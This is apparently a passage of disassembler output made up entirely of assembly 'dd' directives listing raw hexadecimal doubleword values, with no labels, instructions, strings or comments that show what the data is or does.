		dd 0C7C5FB13h, 0BF7CC480h, 80A09450h, 0F63868E6h, 582DFB1Dh
		dd 0D5A0A748h, 1809902h, 8772C0FCh, 21BAC318h, 7CB56383h
		dd 0E5F011h, 0C5CB29BCh, 69D62BD2h, 3CA5E600h, 3165B09Dh
		dd 0A39027h, 0AD86DBFAh, 0AFCCFC2Fh, 0B8E241D2h, 0E8FC2880h
		dd 20C002ABh, 5A87216Ah, 1C3312E6h, 829484D3h, 0BCD240F9h
		dd 5D32311Eh, 6C08BFCAh, 5750C600h, 0DB41F3h, 20F8B8EDh
		dd 0E4932C8Dh, 4267E0B6h, 549C4DE0h, 32C007E2h,	755A9E62h
		dd 76DB0133h, 7077ACA3h, 0A1007167h, 2B40A7DEh,	0EA74DA49h
		dd 13EC00DFh, 4E8B2C55h, 1C2E7B62h, 5C021319h, 0C077E9D2h
		dd 0DDDEE4h, 0B753BC81h, 0A8FEA68h, 7264F00h, 0C6063ACh
		dd 0EC940425h, 0C01D9E1Ah, 0B502F4F3h, 0F37C5F09h, 0B2A200F9h
		dd 2455FA7Bh, 420C654Ah, 0ACC0C754h, 6F07D087h,	6888BF01h
		dd 4E2C42h, 0CD7AD253h,	13061400h, 0E7CA3AF6h, 4FD80125h
		dd 0ABA8FE6h, 0F187C0FDh, 181EA330h, 2A160D47h,	0A4445Dh
		dd 0C7D52361h, 4938D6FCh, 8C0CE33h, 9B210056h, 1D41D52Bh
		dd 9F00E002h, 25431311h, 6C114h, 0FA49C42Fh, 8AFF20A0h
		dd 4C704E60h, 0DE0D42E7h, 0C05AD0D0h, 872F7ADCh, 2A448CD8h
		dd 7A2B0F52h, 0A8A0049Fh, 3950BA3Ch, 90D0054Bh,	19C14FAh
		dd 0F35E8EBCh, 3BCEE623h, 0F0F56E0h, 8904D3DAh,	0DF41B9B8h
		dd 63BD4E9h, 0EA2D11C0h, 6F897A4h, 80BDE9E3h, 75500853h
		dd 0A406E230h, 0A929431h, 0EDDE00BEh, 6C06C013h, 1B6C342Bh
		dd 8CD85860h, 0A3A41E02h, 19E883F8h, 163B1068h,	0AF9200A4h
		dd 46E69F2Bh, 0CA058404h, 756DD648h, 4323A403h,	50B1C14Eh
		dd 0EC81089h, 0FDE76980h, 7000C592h, 104A4314h,	5EE2C3C6h
		dd 45ECC067h, 6B003419h, 8B7866A3h, 0B5D0ABh, 95CB9AA8h
		dd 0FDEDD761h, 916CC901h, 0E275DE34h, 0DAFBD4h,	30AC51A9h
		dd 0F8C9BED3h, 53281F03h, 0F8A3DC92h, 1FBC6529h, 4F214Bh
		dd 9DDB91E5h, 2CF42D54h, 0AEF3D901h, 24FA1893h,	12E899F3h
		dd 40E229FDh, 6A44C0h, 8DC1B175h, 55662013h, 174F9500h
		dd 0AA9C781Ch, 650800B2h, 7483F335h, 2F005BB6h,	25DA21D1h
		dd 5182E0h, 1A6BA017h, 420FE2D2h, 24D5031Dh, 5599FFC0h
		dd 3B31441Eh, 5180F6E4h, 0D6677788h, 7B00967Ah,	914CCD53h
		dd 7C0D9E7Eh, 3302E33h,	1E7D124Bh, 563B3E08h, 93AD7780h
		dd 79C70D38h, 0AFB2DB00h, 0ED36BC97h, 0F608E27Eh, 105F0060h
		dd 2B17BBA8h, 1100E91Bh, 440BFD95h, 42905Ah, 923C2533h
		dd 0F30DCDF4h, 676A3A00h, 227EF0FBh, 76C71BE0h,	0DAD82024h
		dd 0D81C3DA6h, 6B40D6C4h, 1ECE8280h, 0AD783F6Fh, 0DB2ED038h
		dd 0FF1D9Ch, 0F1D5F424h, 1A5C755Ah, 0D7D86097h,	2EC1B46h
		dd 7301A77Dh, 0EC801DA0h, 85229ACEh, 0AD10A900h, 0BEDA6A04h
		dd 5CFD01E6h, 5BE5EB38h, 0F4C07E3Eh, 97513Fh, 5D0BE25h
		dd 5CF331A1h, 0C3AB662Ch, 74B27F00h, 7237FF8Ch,	8921CF4h
		dd 9F2681h, 9720F1Ch, 4B0ED97Ch, 2094C87Dh, 5AB38C1Eh
		dd 865E17B7h, 808D1CDDh, 0F0BB1CE2h, 9300A1B5h,	327B4520h
		dd 433004h, 1B2E470Bh, 71DCF2C6h, 9A0EB800h, 2334D1E1h
		dd 4E80089h, 0FDD4306Eh, 0FAEAD017h, 0DF4D4200h, 18E01FF5h
		dd 536303E6h, 90DCEEC1h, 236D81Ch, 0E0FDAC0h, 9F3FC24h
		dd 6F42EB6Ch, 0F9B705h,	1AE721F2h, 0CC00FFF1h, 93F8DE1Eh
		dd 0FC34505h, 44C547F9h, 0C446CA01h, 0F4C6E110h, 0DB00096Eh
		dd 0FF3FEB96h, 1C0E78B0h, 47EC4C20h, 569D49Dh, 84940F32h
		dd 0FCBB97E0h, 2C000B83h, 0C4A1F016h, 4E329Dh, 34BD1B5Ah
		dd 63252AB9h, 9A16767Dh, 0AFCD8Bh, 9FEB6225h, 0D975BEB6h
		dd 0FA50E600h, 5304B1EDh, 80FC48A1h, 188A5450h,	0C81DC270h
		dd 3288EE85h, 4093DFCh,	830180BAh, 175E133h, 0B2B45042h
		dd 8E00F587h, 0A434C625h, 0B1F652h, 33490CCCh, 4F5F9693h
		dd 0E82B4100h, 0B97816E9h, 3B240079h, 0DA563E94h, 0F016B8CAh
		dd 6002388h, 0C4B63C15h, 0A33A03F9h, 0C0962675h, 69A19DB8h
		dd 8B51870Eh, 0D08AA01Ch, 3B406C4Bh, 16809FB9h,	0CF271261h
		dd 28128FC7h, 0AC003267h, 0CB37D33Dh, 0ECF23BC3h, 0D8CE5218h
		dd 2900CD75h, 0F0FE5D6Eh, 0B3B2FAh, 0E0AEAFD5h,	98B7A459h
		dd 0F9E5A70Fh, 13893Ch,	71B342D0h, 7CFC02A9h, 8AFA6150h
		dd 0CD00D3C2h, 2F4A7D18h, 47DBEA01h, 6A82CF19h,	0FF3330h
		dd 37A375B5h, 0AB341678h, 0CBBBEE00h, 0AE6B69ECh, 54410065h
		dd 8E50EAA7h, 0D5009E76h, 0B7B64C7Fh, 1E13BE05h, 0CFFAD736h
		dd 10205AB2h, 0DF014B9Fh, 0F12DD80Fh, 5CBD4079h, 0C5871Dh
		dd 0F661C2Bh, 7D172FBBh, 42581400h, 0CAF3533Bh,	5ED20C82h
		dd 0FC382E62h, 8C5DBC00h, 3FAE20B6h, 47CE4ABh, 0D0121B38h
		dd 15FEC07Dh, 0C1031C5Bh
		dd 30AB2BB2h, 0CD7E469h, 64B52300h, 74F57A60h, 20CB09B4h
		dd 288033A5h, 0B88130E1h, 0EF07F890h, 6EE05967h, 0F4C3BF50h
		dd 50DA0007h, 3F89BA2h,	802AF15h, 97EC1FBCh, 7FD080D3h
		dd 560293h, 8B763575h, 0A9237798h, 487848h, 382A8288h
		dd 0A684F69h, 0A406C3B5h, 902D00F8h, 0AACA4831h, 0A8F310C0h
		dd 1735055h, 0DB296FC5h, 0FE6C98DDh, 0A30EF880h, 554D8F8Eh
		dd 12D807A4h, 42E003D6h, 6D5196Ch, 0DACB9C9Ah, 4F0E309Dh
		dd 0E03AA895h, 84A6C8E3h, 8E2D0E4Ch, 1837E87Ah,	64BB2975h
		dd 183AF67Eh, 7F332E43h, 0F2A6A300h, 0CFE296h, 6FE6593Fh
		dd 0DF8B7C2Eh, 0FE17D501h, 0AE8FF0FAh, 0BCB468DEh, 64C749DEh
		dd 15B2840Fh, 3702806Bh, 5E4073EBh, 0D654F1C5h,	2842F8C8h
		dd 6722A100h, 595732CBh, 0C84D1E05h, 0BC809A10h, 38A85804h
		dd 0C280D8DAh, 59B1A278h, 65009DADh, 5D28E180h,	90B60715h
		dd 0AC373ECBh, 0C07C5B1Eh, 0B42B9438h, 4570B0C2h, 92ECD901h
		dd 0B480DAEh, 603398D0h, 855DA3Dh, 0CA02BAACh, 3980418Fh
		dd 0CC8C40AFh, 0C085F0ADh, 4D1F0A10h, 0ED009EA1h, 8B20B2A2h
		dd 0B49B23h, 0B885428Ah, 698D3959h, 1C91F81Eh, 0E2892F83h
		dd 22511C29h, 483CC0A6h, 0A9504BEDh, 0D2349300h, 0B267568Bh
		dd 0C1080010h, 2A2053FBh, 50016C2h, 0AB3CDDE5h,	0FDB0457h
		dd 51118BD5h, 0F815BCC0h, 8A0099A3h, 0EAE33ECCh, 488C5503h
		dd 0C600C85Eh, 0C02A9C4Ch, 853F9A7Ch, 20076D3h,	5DEF9836h
		dd 69663Eh, 0E454F5DAh,	0B651583Fh, 0C4263D01h,	8D96F01Dh
		dd 0EC7CF8h, 9277F814h,	3C8B6866h, 15CA1100h, 0B91D277Ah
		dd 6F071296h, 20B400BBh, 9E4CFE72h, 0D89F903h, 0D0D07EDBh
		dd 94C484h, 0CBFBC20Fh,	10D5B13Ah, 6B156707h, 33F02AA6h
		dd 467470h, 0BAF703E4h,	13452421h, 0F438FE00h, 3B157608h
		dd 0D89C008Ch, 1EFD12BCh, 0FB007EE1h, 3AAFE255h, 0FEDECC82h
		dd 14EA09ECh, 4480802Dh, 8BD670C4h, 8EC1F600h, 55C684A1h
		dd 249F006Fh, 6BD07842h, 0D900A389h, 0D42E4AAEh, 4323E7h
		dd 0B27A18FAh, 11C42F02h, 0F204DC0Ah, 2C00F82Eh, 8F7E15AAh
		dd 0FCDB05D0h, 0C0692B9Ch, 0A0C8784Dh, 1938D700h, 958E56E3h
		dd 97CF0FB7h, 0FD209E21h, 26B0127Fh, 0FE3D7E00h, 2CA8ED13h
		dd 0DA451F71h, 61D0015h, 0FBA3ADF7h, 11316500h,	0F25C61BBh
		dd 34200088h, 7D677401h, 3B129373h, 0EAC4B3h, 0FF2C9538h
		dd 260265F0h, 351F510Eh, 881CC174h, 0E6E0BC8h, 2748B801h
		dd 5F568520h, 0DE008EDAh, 0F9BF2D3Eh, 0CC8146h,	73FB7834h
		dd 3A624A52h, 0BDDE7E00h, 1059E455h, 0F46A13D4h, 5D1C00E9h
		dd 0D36BD531h, 0EAE7B30Ah, 90021057h, 4856EF4Fh, 6EEF130h
		dd 0D216F38Ch, 0E8099075h, 871BF0B7h, 90939F00h, 0E937C0DAh
		dd 0F6340A36h, 0A10C653h, 1CEE57h, 82D71551h, 49F46566h
		dd 0D8F4E8E8h, 0C05310A0h, 6939F160h, 3DD1F232h, 360B453Bh
		dd 0B700DCB5h, 0BF1C6CA6h, 5DDAE814h, 0DE5500A2h, 0C29296BEh
		dd 34C003Ch, 0FD4534EFh, 0A5000EB0h, 8F8A4B48h,	646B9Bh
		dd 5FB1982Ch, 1D718474h, 47893700h, 0CA6E14DBh,	0DD90FE9h
		dd 5FC557h, 0B5D0F5Bh, 8CF6D388h, 7B0044F4h, 30F274A8h
		dd 0C0DB4B84h, 332FC418h, 0F004806h, 0CA40634Ch, 0CB89ACh
		dd 1EDFAE17h, 904426EEh, 4554BA00h, 6299EB0Ah, 853000FFh
		dd 9E93F47Ah, 0AD05C85Ch, 71FCD66Fh, 0F0266083h, 647B8Bh
		dd 6647F27Dh, 0D8FE90DCh, 0A2BCA503h, 0FBBAE839h, 67890044h
		dd 0FFE9F1C8h, 880E135Bh, 861493CAh, 20DAB3h, 97F23108h
		dd 442419Dh, 2652B700h,	5E46C24Dh, 0EE0B0099h, 7303068Eh
		dd 880CA274h, 18872A6Eh, 68EC60A5h, 71C716FCh, 790210A0h
		dd 0DB902082h, 0D303ADh, 4AC50422h, 6E7AE392h, 0E826AF01h
		dd 9A8E7D8Dh, 70030BDh,	0A271C39Bh, 0AA7E5D90h,	111218C0h
		dd 68B5DF96h, 30C7508Bh, 3F782E8h, 0FC787460h, 0A581C2Fh
		dd 0C2F6F03Fh, 8DBF00E5h, 2E2A109Eh, 0D76C5100h, 0AC8BED1Ch
		dd 364A0FA0h, 0C73FCBA7h, 0C0C388C1h, 2F8CB15Dh, 0F775E500h
		dd 427EB00Ch, 0B67A80h,	4CB53502h, 0A7933F1Bh, 80A57138h
		dd 58D30BC4h, 5764A6h, 39AA749Ah, 8BEF92CBh, 0E6655900h
		dd 7A9DE3C9h, 0F84B98CCh, 0C58D00A6h, 0DE141AA0h, 0DC004DF6h
		dd 0A769C366h, 77892Dh,	6C4596BBh, 73CF8602h, 0B1D4FE00h
		dd 637B6CEh, 3328005Ah,	2FC2ABAFh, 9E00F011h, 0BB924B5Dh
		dd 0F2E2172Dh, 9344003Fh, 0F516F84Eh, 5C033691h, 0C746D308h
		dd 0A2DBB8A4h, 899F0074h, 0C0BC5B1Bh, 0EB00F7D4h, 84414D9Ah
		dd 81270Bh, 0E53C9FD1h,	7E0CFFEh, 2609D00h, 0C5C36DD3h
		dd 0DEF83Ah, 0D214E926h, 606CB330h, 6878250Fh, 0A40053F6h
		dd 7DF3C2BEh, 29BA0177h, 0C3465B42h, 11B3DCA1h,	732EF800h
		dd 0ECAAACC4h, 0F4AD00E6h, 0D40B6076h, 0D300BC39h, 552C928Dh
		dd 3815EAh, 80A6190Ah, 0F19E72DEh, 18EF411Fh, 39A8EBC0h
		dd 1CC774E2h, 0C0E4D893h, 6157DCA9h, 66026EB9h,	3CEC3EB1h
		dd 0C8364309h, 16C0F53h, 0A93F47E0h, 0FC662789h, 783FEBC0h
		dd 80D23AE6h, 0B1ED5E2Dh, 39649426h, 0E7A68D6Ch, 1E3802F4h
		dd 93C052A6h, 1502112Ah, 6DA54BDDh, 4DCC8029h, 7A9F8DFCh
		dd 0C3101BFh, 16DFA2C8h, 155820C0h, 0ED45C600h,	27DAEEAh
		dd 6E0D00FAh, 0A2330F91h, 0D5306D46h, 8122482Eh, 0B89B3C1Dh
		dd 0D4702A00h, 5DF6AA3Eh, 61DCC301h, 0DF3D9A33h, 987B06DCh
		dd 50C9003Ah, 0D32B2E64h, 6B144025h, 75D0E8FBh,	0BCBA93Ah
		dd 80F99AD8h, 0EAE53F87h, 47F12CEh, 1464008Dh, 0C71E08FEh
		dd 5BD93800h, 4DB4B73Dh, 0C83F0088h, 52A5E086h,	2104D81Fh
		dd 0F5BC1770h, 48433890h, 0A7677h, 0A265A40Dh, 24BD71E4h
		dd 4C501802h, 40E9229Dh, 1D54A3B7h, 403BF449h, 0E436065Ch
		dd 0B10089DBh, 0ED8B263h, 0ABFBC6Ah, 0A8FB6D40h, 0DCF78084h
		dd 1EF8EB69h, 4C000274h, 0CE3138F4h, 14CA6276h,	0B0173F0Ah
		dd 0D83B3701h, 0C05F8CCBh, 0B53F067Eh, 49FF803Ah, 634BBF0Bh
		dd 5738008Ah, 0B146B6C0h, 2E0AE614h, 0BC22BA71h, 0E26FB307h
		dd 5D0733F0h, 6C082C62h, 8B3400FCh, 0EAF4FA9Dh,	374E4024h
		dd 807F5902h, 394C4053h, 3EDC7A91h, 4130F397h, 98D9E390h
		dd 3600BCE8h, 992E7750h, 9EC923h, 24B1B03h, 0B4B00E65h
		dd 65A0FB5Eh, 0E4CA0796h, 50FA3CE9h, 0D4046611h, 0D097382Ch
		dd 8F8C7900h, 483C0E4h,	65B61230h, 0EC58804Bh, 0E70D9E3Eh
		dd 903B2EC7h, 5971D20h,	0F78E9557h, 83C1C4D5h, 0F000ABA6h
		dd 3D3E7EF1h, 3E868891h, 1C981501h, 7FB478C5h, 21B99412h
		dd 657A444Fh, 0E030D5A3h, 0EC3591h, 0B9BBC408h,	385FCD93h
		dd 811A8839h, 3AC21B6Fh, 7CFC7216h, 9C420084h, 508FC459h
		dd 5E07D02Fh, 3238DB0Bh, 8BFE72F0h, 34A80030h, 0C2AEFAA9h
		dd 12075C08h, 803A1329h, 0CE8A3900h, 48BF0350h,	0EBEDFC85h
		dd 50DEA083h, 0EE312410h, 77C7390Eh, 6ED89ACCh,	0DC00E0FCh
		dd 12F2306Ah, 182B540Dh, 19436C90h, 6E0034E8h, 0BB0BEA76h
		dd 39DEDD7Bh, 5C1E063Dh, 82BE00BAh, 114C2D7h, 6DD27000h
		dd 8F93A417h, 0C3C801DAh, 0FF854054h, 670CD05Ch, 0B2EE38h
		dd 6DB559F4h, 0EB471Bh,	1D496A65h, 845DC3D6h, 6F085Ch
		dd 0CA932430h, 0F6ADF85h, 0BFA0C7A6h, 3C256D80h, 0E50033C4h
		dd 2003C99Ch, 3FA31FDAh
		dd 1E00C6FBh, 4091467Dh, 600E995h, 58FFDFF1h, 1D2DAB36h
		dd 40251F21h, 40C3FF4h,	90C0B015h, 2761B8AAh, 37DA093Bh
		dd 95001C5Bh, 0D55D9313h, 0B7008898h, 593DFB3Ch, 904AE3B9h
		dd 5AB10ED0h, 9EC02A0Bh, 8B6780EDh, 0EB351D00h,	0AFE60A9Dh
		dd 86F500C1h, 75437FDFh, 8B1CDE54h, 0BC002AAAh,	70DBCE2Bh
		dd 114A004Bh, 0C8433A5h, 0AC00B587h, 0DD66F3B7h, 0D7C841h
		dd 6822EF1Dh, 0C2B8DB60h, 0C3CDE303h, 0B195DD09h, 0E3712439h
		dd 0D4CBC8h, 9B0EF769h,	0E6861FD1h, 966C741Fh, 0FE2D5DC0h
		dd 18D973Ah, 0B0826D94h, 0C1044389h, 0B93BFC5Fh, 91A7600Ch
		dd 82284Bh, 68B6DB52h, 2F30D176h, 7773C100h, 8B4934F6h
		dd 71FC1Eh, 78C3A30Dh, 1F8A9106h, 93891A00h, 15E28827h
		dd 65080029h, 4EB18BE8h, 73008C96h, 114CBAABh, 3FDA2730h
		dd 0A380EA9Ch, 0F86F81E7h, 0AA00642Ah, 8AA4ACA6h, 0E6EE8h
		dd 0EBB04B55h, 0F0E67F88h, 3D8BE707h, 6E602DAFh, 2DF56FDh
		dd 52072744h, 760B7D8h,	0BB002B3Fh, 4D97018Dh, 53D04Ch
		dd 86165849h, 839298D6h, 4266B100h, 7A07E438h, 360B00D7h
		dd 0BB8843A2h, 0C77AB80Ah, 923E2C07h, 0A7F39717h, 0C0F18B31h
		dd 5089D0h, 190C3525h, 90FF74EBh, 4A3FFAE0h, 0E50F0399h
		dd 0D8DD497Ch, 0E454712h, 5B1229Fh, 17CB7D80h, 0EB00F4E5h
		dd 47D19D0Fh, 56E21Bh, 7FB099CEh, 0B36D197Ah, 1C55D402h
		dd 0E07CEEADh, 447301h,	1939C74Dh, 8EE07074h, 3208FA48h
		dd 40CE4ADBh, 71CD7F20h, 4AD5039Bh, 0CB55E31Ch,	4ED9F7F0h
		dd 58012079h, 0DBF99CC8h, 10401648h, 0A4DD662h,	0C95B791Dh
		dd 4FDD00B3h, 0A75DD8DAh, 328E3707h, 0B880DBC6h, 0DF87BFh
		dd 51316CBCh, 0FCA13FD5h, 0FD5989C5h, 0DE191400h, 741894DCh
		dd 0CD801846h, 0E617181Fh, 3B00A9F8h, 73B5BE06h, 3D91915h
		dd 0A10D0CC0h, 63B89D40h, 9F009853h, 0C6CAB25Dh, 0F4266C97h
		dd 60A60EECh, 0C9C1BC3Fh, 8040A9EDh, 0B88EA60h,	0F8167F8h
		dd 9B865943h, 620882E1h, 32399515h, 0F57B8058h,	0ED75CC6h
		dd 0ACC76F9Ch, 79C95080h, 0D640FF35h, 18621BC2h, 5FC030BCh
		dd 6400379Fh, 0C14809FDh, 2CBF7h, 70B506Ch, 0E0C5A36Bh
		dd 0E2003D7Ch, 6740B827h, 1DF1375h, 0FA1615A5h,	0CC5A528Ah
		dd 1F00F8C1h, 8B784EC5h, 8E4CAFh, 0C7AB6DA2h, 0A6ADD121h
		dd 9577400Bh, 7F72F0D2h, 79941C99h, 5F00BE9Dh, 72547DE5h
		dd 1C0088AAh, 0B248996Eh, 9EAAC3Dh, 94CB6391h, 27162178h
		dd 0BA1C7D1Dh, 0E3B371C0h, 388A7BFh, 3656D064h,	0E9013A6h
		dd 4900FBE8h, 5ED65C2Eh, 0D50F48h, 45AD4186h, 0BCA01B38h
		dd 0AC58AA01h, 0FCE754D9h, 0A6A61ECh, 0DD63FD8Eh, 4E240098h
		dd 0A4A9BD58h, 2154AD00h, 97AF2634h, 61DF0053h,	7AC72DF6h
		dd 9800CE67h, 71AB4CDAh, 630572h, 0FF580668h, 2ECF80E5h
		dd 0B989A90Bh, 9B78E24h, 607D0E52h, 0D7EFF6ACh,	0B7B80914h
		dd 0BC83664Eh, 50C86857h, 0FC797C01h, 0E58F5100h, 649D41DCh
		dd 20C01E56h, 964200E2h, 0A13BEA65h, 0CFC8D600h, 36A6CD87h
		dd 1F137BE8h, 0C0E6820Bh, 0BE4A44F0h, 5007566Ah, 4884E41Fh
		dd 781CC7D0h, 6DC20053h, 0A3DF59BFh, 0EF04C34Eh, 0E13ECAC4h
		dd 3CA380EAh, 0A739ED2Ah, 0CB098E7Eh, 0D522004Dh, 4CF19273h
		dd 0D600AD0Bh, 0E4B3EF79h, 49002B7Bh, 0EA6F1D88h, 638F1F60h
		dd 9622104Ah, 5B21E960h, 1797DF7Eh, 0EF165D6h, 3BE9E2D2h
		dd 2615025h, 0C44C3390h, 0FB0448C8h, 3973E0Fh, 280076EBh
		dd 43F218B7h, 5D8B793h,	0D0122628h, 0CD2E5600h,	0A44250F8h
		dd 0ECD00EEBh, 0B2A077B5h, 3AC8FDC6h, 0F0C06624h, 1E84A286h
		dd 78DF001Ah, 2C67E455h, 0D10290C4h, 3E1443AAh,	0A5044008h
		dd 104719AEh, 0DCF91046h, 4C0ED98Ah, 2B5A8F94h,	5D9005DEh
		dd 4A87EC1Dh, 7150EF64h, 0F8307E92h, 95DB0059h,	0F85C9A38h
		dd 7A626E61h, 63D426C8h, 66388B4h, 86A20014h, 668FDC3Ah
		dd 103B3D0Dh, 9D5804Eh,	624B1785h, 24D2003Bh, 45CE3A41h
		dd 0C6E87BC0h, 7A2A7400h, 0B1477E3h, 2EB00710h,	50D142FCh
		dd 6D36856Eh, 65D00400h, 68938F19h, 0C98E1416h,	8D169041h
		dd 0CACC468Bh, 43487867h, 80193F97h, 0C9FAC5B3h, 933EC3h
		dd 734CA924h, 65177872h, 80F8F93Eh, 0F7F19C52h,	10AFF83h
		dd 0D46AB38Ch, 0E85DED77h, 0D80E086Fh, 60B6848Ah, 21BF4FEBh
		dd 586D02E5h, 652ED906h, 9AB8D460h, 6CE0842Ch, 0B40F1F26h
		dd 3BC6201Ah, 0FA461BE7h, 0C39D006Eh, 0DD22EB64h, 7048C12Eh
		dd 0EADA0F10h, 0A82180FFh, 313318h, 0BF0BDF60h,	0DCB63D43h
		dd 65783Ch, 811E837Fh, 0ECEF6BB7h, 6BC92F3h, 74833A7h
		dd 0D2281177h, 3800948Dh, 0CC17BEF4h, 0FEF1F79Bh, 33EF03EEh
		dd 26643B7Fh, 0C2BF998h, 0D939BF13h, 0A750C840h, 7FCB6AD6h
		dd 224B166Ch, 98EC40C3h, 6F752C3Bh, 746DBD1Dh, 297FD74Ch
		dd 0C04C4839h, 0C0D12300h, 17B50962h, 0BF002974h, 0AA774A12h
		dd 84EC89h, 2558800Fh, 8792902Ah, 0B465E607h, 0BDD00669h
		dd 7ADA0A1h, 5FA38FAAh,	0F67361D7h, 8018CDB9h, 6BC3D221h
		dd 0E41AF8Eh, 0D32A5016h, 0D09645A0h, 0E2005746h, 0FEB47AEAh
		dd 0EF33A2h, 0BCDA4FAh,	0CB99583Eh, 0D5C7201h, 4890407Ch
		dd 2E57FCh, 0CF3AE8DFh,	0C5A7A03Eh, 0F164D300h,	9DDB0D3Ch
		dd 0E1943AFDh, 37F7D180h, 90EBA16Bh, 80A5CA3Fh,	625510EAh
		dd 1EFF46FCh, 0C37FE7h,	0B1A2D642h, 2D01EFDAh, 0B8BA53Bh
		dd 0B448D2F3h, 53BE0081h, 1B708D91h, 0E60086FFh, 13A4DDFEh
		dd 0B87B24ACh, 1DCEEF4h, 5FF02A67h, 307040CFh, 0CC015A4Ch
		dd 0D10499E7h, 9850A5BFh, 3B82B0D9h, 0FB803507h, 1C408B9Eh
		dd 95033AFEh, 397883C3h, 0CD51C80Dh, 15600025h,	94AD110Ch
		dd 300F9086h, 80F12C12h, 0D409C151h, 3ED20042h,	536D7B73h
		dd 8219C9B4h, 0AE9865FEh, 0E6F4C821h, 92D8C25Fh, 0C100D81Ch
		dd 49557BFh, 0BC86D191h, 5478D025h, 0A6003809h,	52D081BBh
		dd 7B6C6403h, 3F5FC73h,	769BF860h, 0FCE08F99h, 39CEBA6Dh
		dd 0BD3820B2h, 90421588h, 395E60B6h, 285CBA2Fh,	17AA2D00h
		dd 0F54F114Ah, 605313D3h, 0AD9000C3h, 4DD45889h, 4BD07E00h
		dd 0FE8AD546h, 3361218h, 0AB64018Eh, 706A056Bh,	0A6039FF0h
		dd 5DADB3D6h, 84F5C945h, 0F73FE8h, 7885F964h, 0CFF4A1BFh
		dd 2D259D09h, 283480E7h, 0FF8CFDh, 0F505D63Ah, 3912107Ch
		dd 972B5705h, 9EC0DED7h, 5167B50h, 7285C004h, 12CC1331h
		dd 86EA0C4Ch, 0FF1F3E58h, 89C7C404h, 1DA3FB21h,	5963E0E5h
		dd 981776C3h, 0B7270067h, 9994080Bh, 7E03F68Ah,	341FF9E6h
		dd 0E8494043h, 0F65B097h, 0A89151ADh, 293F19A0h, 660039E9h
		dd 0F20B36ECh, 4C8974ACh, 9413826Dh, 91C0080h, 5E2B3E6Ch
		dd 73E36900h, 1EB099D2h, 27350084h, 43D48CB2h, 8179E179h
		dd 80EA4B38h, 0B4422044h, 0EA7557BDh, 0F2EA23h,	51F608A6h
		dd 8B366DF9h, 297CD800h, 0A3AFD39h, 0DB5401E9h,	0FC9A1C5Ch
		dd 0EF66E0C5h, 0E8681E00h, 69B6850Ch, 0D38E0338h, 0E1A4BE8Fh
		dd 73ACABB0h, 0E8132600h, 2D59BA1Dh, 41AA002Ah,	0D67DED9Fh
		dd 0E0062F5h, 79B9939Dh, 37111Ah, 29049AF7h, 0F01D09C7h
		dd 0CE526300h, 2085DFF8h, 8C5E48AEh, 5314A800h,	90623F18h
		dd 0DF13B512h, 913C6840h, 0AD51F3h, 7F02F2EFh, 98857078h
		dd 4F0F900h, 81741D13h
		dd 0EDF801F7h, 6E1A82D9h, 18104387h, 28473C0h, 0BBEE9B00h
		dd 3FD65131h, 448094A0h, 9CCF00FEh, 3FDC361Eh, 599218AAh
		dd 3FE491FAh, 4F1840E4h, 2F3DA6CCh, 2B747451h, 0D7C3D818h
		dd 127360B1h, 83D619BCh, 0A9A0EEFCh, 6C00E90Ch,	71CAC5A3h
		dd 28367F63h, 1030FC59h, 6F13C3Ah, 409CDCCAh, 1B8BA40h
		dd 10C95393h, 0DB43865Dh, 1D00B4E4h, 5A0560D3h,	1801FDFAh
		dd 4FD6023Bh, 532F288Ch, 51092EA8h, 649D3FD9h, 20F94354h
		dd 5FA3Eh, 39C1EDFCh, 0B248FDBEh, 5E6D2E1Fh, 9CF9FBCFh
		dd 3F43DDh, 0ECE03A3Bh,	0B047282Ch, 0CA50E35h, 8180376Bh
		dd 0B09022A7h, 0ED00057Eh, 202B56DCh, 1C659458h, 408013E5h
		dd 3C3515A1h, 731DE9C6h, 0F100617Fh, 0AD5E3949h, 408F0766h
		dd 0D0554B3Eh, 0BA92774Dh, 8ADA381Ch, 0A2B9C518h, 8E3B0A19h
		dd 0C982618h, 0AA08163Fh, 318021C0h, 0C39513Bh,	65576FD6h
		dd 6D005E66h, 0A469DB2Bh, 0F0BABCEFh, 915500C9h, 7EFE1672h
		dd 702A30C3h, 9800A8BBh, 5D639F6Eh, 1DFC366Fh, 18378635h
		dd 567B21D4h, 0BAE79F00h, 90042C5Bh, 0A2E10063h, 0BBFC405Ah
		dd 5E76DA7Ch, 0DD86BA09h, 0DB2880C0h, 2A4FB8F2h, 0C8FBE2h
		dd 19068D38h, 0D7A7A451h, 87C5933h, 99213AA5h, 94440680h
		dd 0DD397277h, 427B670Eh, 2113A057h, 3C57CA4h, 93857D9Ch
		dd 3903FE17h, 10C9BD8h,	0C8200489h, 19AB925h, 0D095F3F7h
		dd 5944188Fh, 7D323198h, 7EC9681Eh, 0E3C06E06h,	53B0C8B8h
		dd 150691C0h, 22844651h, 0A9BD00A2h, 511F7106h,	350CAAE9h
		dd 48931E96h, 946E18C1h, 0F85358D4h, 6007BD0Fh,	7D96206Fh
		dd 3A1D31h, 0EFACA75h, 7B8E3CCh, 0A9508300h, 0D131388Ch
		dd 326C1E15h, 0FB00FBCBh, 6D694D4Fh, 910094B8h,	845960CEh
		dd 7D21F01h, 4CF03F31h,	1B0860EEh, 890FF5DBh, 0AB56360Eh
		dd 0DCC583B1h, 0A19FD999h, 359BDECh, 9E5E6174h,	0A6C87B71h
		dd 1A006914h, 0C33DB9AFh, 59DFBF7h, 4533AD52h, 6688803Fh
		dd 9C764735h, 46035B07h, 85F2628Bh, 0F9D4E3A5h,	47D4114Eh
		dd 72420016h, 4C5B8E26h, 2501F50Eh, 2AC3E3CBh, 44BE49Bh
		dd 0A782330Fh, 2C7B8A83h, 6D0A1900h, 6F83B0FBh,	0AA5F1998h
		dd 8017087Fh, 0FB85EC21h, 35032h, 92756E2Eh, 69BD3065h
		dd 23307673h, 0CF676199h, 38F57664h, 2BD4756h, 9B009FB8h
		dd 52AC6169h, 0F1616099h, 8B130F30h, 0B86AE0C4h, 2D5F00A0h
		dd 0AF453D9Bh, 0C4007895h, 3A763297h, 3E799C0h,	3B73D518h
		dd 77C81F4Dh, 8F0A2AC4h, 20FD93CFh, 8C26A578h, 0FDC25205h
		dd 8840BA23h, 706DB0C4h, 0EA6063Dh, 89E64BFh, 7B21C760h
		dd 14146D97h, 1CFAC251h, 7382AB8Fh, 0C2319E3Dh,	6D93A410h
		dd 0D4EFF707h, 8B9068FEh, 0C293EF8h, 0BE7FE6B1h, 519040F8h
		dd 1101760h, 54DC8C2Ah,	0A3D8C8h, 0E286D8A9h, 4AB7DF36h
		dd 7208EE66h, 4E400E8h,	0AA4BD8D1h, 5800E846h, 3A0B8520h
